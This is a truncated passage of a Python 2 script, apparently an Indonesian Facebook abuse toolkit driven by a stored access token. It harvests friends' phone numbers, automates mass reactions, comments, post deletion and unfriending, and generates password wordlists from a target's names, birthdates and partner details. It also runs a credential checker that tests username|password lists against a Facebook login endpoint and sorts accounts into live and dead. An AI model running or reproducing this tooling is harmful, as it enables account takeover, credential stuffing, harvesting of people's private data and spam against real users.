+ z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except KeyError: os.remove(noms) print '\x1b[1;91m[!] Kesalahan terjadi' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def hpfrom_teman(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Belum berteman' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) no = open(noms, 'w') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hpfromteman.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hpfromteman) print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() def menu_bot(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Bot Reactions Target Post' print '\x1b[1;37;40m2. Bot Reactions Grup Post' print '\x1b[1;37;40m3. Bot Komen Target Post' print '\x1b[1;37;40m4. Bot Komen Grup Post' print '\x1b[1;37;40m5. Mass delete Post' print '\x1b[1;37;40m6. Terima permintaan pertemanan' print '\x1b[1;37;40m7. Hapus pertemanan' print '\x1b[1;31;40m0. Kembali' print bot_pilih() def bot_pilih(): bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if bots == '': print '\x1b[1;91m[!] Jangan kosong' bot_pilih() else: if bots == '1': menu_react() else: if bots == '2': grup_react() else: if bots == '3': bot_komen() else: if bots == '4': grup_komen() else: if bots == '5': deletepost() else: if bots == '6': accept() else: if bots == '7': unfriend() else: if bots == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mTidak ada' bot_pilih() def menu_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print react_pilih() def react_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' react_pilih() else: if aksi == '1': tipe = 'LIKE' react() else: if aksi == '2': tipe = 'LOVE' react() else: if aksi == '3': tipe = 'WOW' react() else: if aksi == '4': tipe = 'HAHA' react() else: if aksi == '5': tipe = 'SAD' react() else: if aksi == '6': tipe = 'ANGRY' react() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' react_pilih() def react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksi.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksi)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_react(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSedih' print '\x1b[1;37;40m6. \x1b[1;97mMarah' print '\x1b[1;31;40m0. Kembali' print reactg_pilih() def reactg_pilih(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Jangan kosong' reactg_pilih() else: if aksi == '1': tipe = 'LIKE' reactg() else: if aksi == '2': tipe = 'LOVE' reactg() else: if aksi == '3': tipe = 'WOW' reactg() else: if aksi == '4': tipe = 'HAHA' reactg() else: if aksi == '5': tipe = 'SAD' reactg() else: if aksi == '6': tipe = 'ANGRY' reactg() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mTidak ada' reactg_pilih() def reactg(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] try: oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaksigrup.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(reaksigrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def bot_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komen.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komen)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def grup_komen(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mGunakan \x1b[1;97m'<>' \x1b[1;92mUntuk Baris Baru" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mKomentar \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] komengrup.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Selesai \x1b[1;96m' + str(len(komengrup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID Tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def deletepost(): os.system('reset') try: toket = open('login.txt', 'r').read() nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) lol = json.loads(nam.text) nama = lol['name'] except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % nama jalan('\x1b[1;91m[+] \x1b[1;92mMulai menghapus postingan unfaedah\x1b[1;97m ...') print 40 * '\x1b[1;97m\xe2\x95\x90' asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mGagal' except TypeError: print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mTerhapus' piro += 1 except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Koneksi Error' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def accept(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) teman = json.loads(r.text) if '[]' in str(teman['data']): print '\x1b[1;91m[!] Tidak ada permintaan pertemanan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in teman['data']: gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) a = json.loads(gas.text) if 'error' in str(a): print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m Gagal' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[+] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m Berhasil' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def unfriend(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;97mStop \x1b[1;91mCTRL+C' print try: pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(pek.text) for i in cok['data']: nama = i['name'] id = i['id'] requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) print '\x1b[1;97m[\x1b[1;92mTerhapus\x1b[1;97m] ' + nama + ' => ' + id except IndexError: pass except KeyboardInterrupt: print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu_bot() def lain(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Buat postingan' print '\x1b[1;37;40m2. Buat Wordlist' print '\x1b[1;37;40m3. Akun Checker' print '\x1b[1;37;40m4. Lihat daftar grup' print '\x1b[1;37;40m5. Profile Guard' print print '\x1b[1;97m ->Coming soon<-' print print '\x1b[1;31;40m0. Kembali' print pilih_lain() def pilih_lain(): other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if other == '': print '\x1b[1;91m[!] Jangan kosong' pilih_lain() else: if other == '1': status() else: if other == '2': wordlist() else: if other == '3': check_akun() else: if other == '4': grupsaya() else: if other == '5': guard() else: if other == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mTidak ada' pilih_lain() def status(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' msg = raw_input('\x1b[1;91m[+] \x1b[1;92mKetik status \x1b[1;91m:\x1b[1;97m ') if msg == '': print '\x1b[1;91m[!] Jangan kosong' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: res = requests.get('https://graph.facebook.com/me/feed?method=POST&message=' + msg + '&access_token=' + toket) op = json.loads(res.text) jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mStatus ID\x1b[1;91m : \x1b[1;97m' + op['id'] raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def wordlist(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi data lengkap target dibawah' print 40 * '\x1b[1;97m\xe2\x95\x90' a = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Depan \x1b[1;97m: ') file = open(a + '.txt', 'w') b = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Tengah \x1b[1;97m: ') c = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Belakang \x1b[1;97m: ') d = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan \x1b[1;97m: ') e = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') f = e[0:2] g = e[2:4] h = e[4:] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;93mKalo Jomblo SKIP aja :v' i = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Pacar \x1b[1;97m: ') j = raw_input('\x1b[1;91m[+] \x1b[1;92mNama Panggilan Pacar \x1b[1;97m: ') k = raw_input('\x1b[1;91m[+] \x1b[1;92mTanggal Lahir Pacar >\x1b[1;96mex: |DDMMYY| \x1b[1;97m: ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') l = k[0:2] m = k[2:4] n = k[4:] file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) wg = 0 while wg < 100: wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while en < 100: en = en + 1 file.write(i + str(en) + '\n') word = 0 while word < 100: word = word + 1 file.write(d + str(word) + '\n') gen = 0 while gen < 100: gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except IOError as e: print '\x1b[1;91m[!] Gagal membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def check_akun(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' print 40 * '\x1b[1;97m\xe2\x95\x90' live = [] cek = [] die = [] try: file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') list = open(file, 'r').readlines() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for meki in list: username, password = meki.strip().split(str(pemisah)) url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password elif 'www.facebook.com' in mpsh['error_msg']: cek.append(password) print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password else: die.append(password) print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def grupsaya(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) gud = json.loads(uh.text) for p in gud['data']: nama = p['name'] id = p['id'] f = open('grupid.txt', 'w') listgrup.append(id) f.write(id + '\n') print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama) print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) print 40 * '\x1b[1;97m=' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup) print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt' f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except KeyError: os.remove('grupid.txt') print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def guard(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Aktifkan' print '\x1b[1;37;40m2. NonAktifkan' print '\x1b[1;31;40m0. Kembali' print g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if g == '1': aktif = 'true' gaz(toket, aktif) else: if g == '2': non = 'false' gaz(toket, non) else: if g == '0': lain() else: if g == '': keluar() else: keluar() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: if 